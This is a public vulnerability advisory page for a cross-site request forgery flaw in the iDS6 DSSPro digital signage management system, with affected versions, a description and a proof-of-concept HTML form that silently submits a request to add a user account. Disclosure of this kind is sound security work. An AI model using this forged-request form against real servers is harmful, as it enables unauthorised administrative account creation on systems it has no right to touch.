iDS6 DSSPro Digital Signage System 6.2 Cross Site Request Forgery

2020.11.05

LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/) (MK)

Risk: Low | Local: No | Remote: Yes

CVE: N/A | CWE: CWE-352 (https://cxsecurity.com/cwe/CWE-352)

```
iDS6 DSSPro Digital Signage System 6.2 Cross-Site Request Forgery
(CSRF)


Vendor: Guangzhou Yeroo Tech Co., Ltd.
Product web page: http://www.yerootech.com
Affected version: V6.2 B2014.12.12.1220
                  V5.6 B2017.07.12.1757
                  V4.3

Summary: iDS6 Software's DSSPro network digital signage management
system
is a web-based server software solution for Windows.

Desc: The application interface allows users to perform certain ac
tions via
HTTP requests without performing any validity checks to verify the
requests.
This can be exploited to perform certain actions with administrati
ve privileges
if a logged-in user visits a malicious web site.

Tested on: Microsoft Windows XP
```

```
            Microsoft Windows 7
            Microsfot Windows Server 2008
            Microsoft Windows Server 2012
            Microsoft Windows 10
            Apache Tomcat/8.0.44
            Apache Tomcat/6.0.35
            Apache-Coyote/1.1
            Apache Axis/1.4
            MySQL 5.5.25
            Java 1.8.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5606
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-20
20-5606.php


16.07.2020

--


Add user:
---------

<html>
  <body>
    <form action="http://192.168.1.88/Pages/user!addUser" method
="POST">
      <input type="hidden" name="user.userName" value="testingus"
/>
      <input type="hidden" name="user.password" value="zeroscienc
e" />
      <input type="submit" value="add()" />
    </form>
```

```
  </body>
</html>
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020110022)

Post

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)